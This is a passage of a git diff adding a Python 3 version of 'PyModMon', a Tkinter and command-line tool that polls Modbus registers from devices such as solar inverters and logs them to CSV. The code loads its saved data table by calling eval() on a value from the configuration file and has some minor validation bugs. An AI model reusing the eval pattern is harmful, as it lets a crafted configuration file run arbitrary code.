controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = 